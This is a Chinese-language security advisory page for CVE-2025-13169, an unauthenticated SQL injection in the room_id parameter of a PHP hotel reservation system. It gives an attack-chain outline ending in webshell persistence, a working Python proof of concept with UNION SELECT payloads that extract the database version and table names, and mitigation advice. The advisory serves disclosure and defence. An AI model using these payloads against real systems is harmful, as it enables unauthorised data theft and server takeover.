IPBUF安全漏洞报告
English
CVE-2025-13169 CVSS 7.3 高危

CVE-2025-13169 Simple Online Hotel Reservation System SQL注入漏洞

披露日期: 2025-11-14

漏洞信息

漏洞编号
CVE-2025-13169
漏洞类型
SQL注入
CVSS评分
7.3 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
code-projects Simple Online Hotel Reservation System 1.0

相关标签

SQL注入CVE-2025-13169Hotel Reservation SystemPHPWeb应用漏洞code-projects远程代码执行高危漏洞

漏洞概述

CVE-2025-13169是code-projects公司开发的Simple Online Hotel Reservation System 1.0版本中存在的严重安全漏洞。该系统是一款基于PHP的在线酒店预订管理系统,广泛应用于小型酒店和民宿的客房管理、预订处理等场景。漏洞位于/add_query_reserve.php文件中的room_id参数,由于缺乏有效的输入验证和参数化查询,攻击者可以通过构造恶意的SQL语句实现数据库注入攻击。此漏洞无需任何认证即可远程利用,攻击者可以未经授权访问、篡改或删除数据库中的敏感信息,包括客户个人信息、预订记录、支付数据等。漏洞已于2025年11月14日公开披露,CVSS评分达到7.3分,属于高危级别。鉴于该系统可能部署于生产环境且漏洞利用代码已公开,建议相关用户立即采取修复措施,防止潜在的安全风险。

技术细节

该SQL注入漏洞存在于Simple Online Hotel Reservation System 1.0的/add_query_reserve.php文件中,具体问题出在room_id参数的处理上。系统直接将该参数的值拼接到SQL查询语句中,未进行任何输入过滤、转义或使用参数化查询。当用户提交包含恶意SQL代码的room_id参数时,这些代码会被数据库服务器执行,从而实现未授权的数据库操作。攻击者可以利用UNION SELECT、布尔盲注、时间盲注等技术提取数据库中的敏感信息,包括管理员账户凭据、用户隐私数据、业务运营数据等。由于该参数可通过HTTP请求直接访问且无需认证,攻击者可以在任何网络位置发起攻击。此外,攻击者还可能通过SQL注入进一步实现系统文件读写、操作系统命令执行等高危操作,从而完全控制目标服务器。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标网站使用的Simple Online Hotel Reservation System版本,确认/add_query_reserve.php文件存在且可访问
STEP 2
步骤2: 漏洞探测
攻击者向room_id参数发送测试载荷(如单引号、UNION语句等),观察数据库错误响应以确认SQL注入漏洞存在
STEP 3
步骤3: 数据库指纹识别
利用SQL注入载荷获取数据库类型、版本信息,确定适用的注入技术(UNION、布尔盲注或时间盲注)
STEP 4
步骤4: 数据提取
通过构造恶意的SQL查询语句,利用information_schema或直接查询目标表,提取用户数据、管理员凭据、预订记录等敏感信息
STEP 5
步骤5: 权限提升与持久化
根据提取的数据库信息,可能进一步获取管理后台访问权限,或通过SQL注入写入webshell实现持久化控制

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2025-13169 PoC - Simple Online Hotel Reservation System SQL Injection # Target: /add_query_reserve.php # Parameter: room_id def exploit_sqli(target_url, payload): """ Exploit SQL injection in room_id parameter payload: SQL injection payload to inject """ params = { 'room_id': payload } try: response = requests.get(target_url, params=params, timeout=10) return response.text except requests.exceptions.RequestException as e: print(f"[!] Request failed: {e}") return None def extract_database_version(target_url): """ Extract database version using UNION-based injection """ payload = "1' UNION SELECT NULL,version(),NULL,NULL,NULL-- -" result = exploit_sqli(target_url, payload) if result: print(f"[*] Database version extraction successful") return result return None def extract_tables(target_url): """ Extract table names from database """ payload = "1' UNION SELECT NULL,table_name,NULL,NULL,NULL FROM information_schema.tables WHERE table_schema=database()-- -" result = exploit_sqli(target_url, payload) if result: print(f"[*] Table enumeration successful") return result return None def main(): if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_url>") print(f"Example: python {sys.argv[0]} http://target.com/add_query_reserve.php") sys.exit(1) target = sys.argv[1] print(f"[*] Target: {target}") print(f"[*] Exploiting CVE-2025-13169...") # Test basic injection test_payload = "1' OR '1'='1" result = exploit_sqli(target, test_payload) if result: print(f"[+] Target appears vulnerable to SQL injection") # Extract database version print(f"[*] Attempting to extract database version...") extract_database_version(target) if __name__ == "__main__": main()

影响范围

Simple Online Hotel Reservation System 1.0

防御指南

临时缓解措施
立即停止使用存在漏洞的Simple Online Hotel Reservation System 1.0版本,或在Web应用防火墙中配置规则拦截包含SQL注入特征的请求(如单引号、UNION SELECT、注释符等)。同时对/add_query_reserve.php文件中的room_id参数实施临时输入过滤,限制其为纯数字格式。最根本的解决方案是等待官方发布安全更新,或自行修复代码使用参数化查询重构相关SQL操作。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表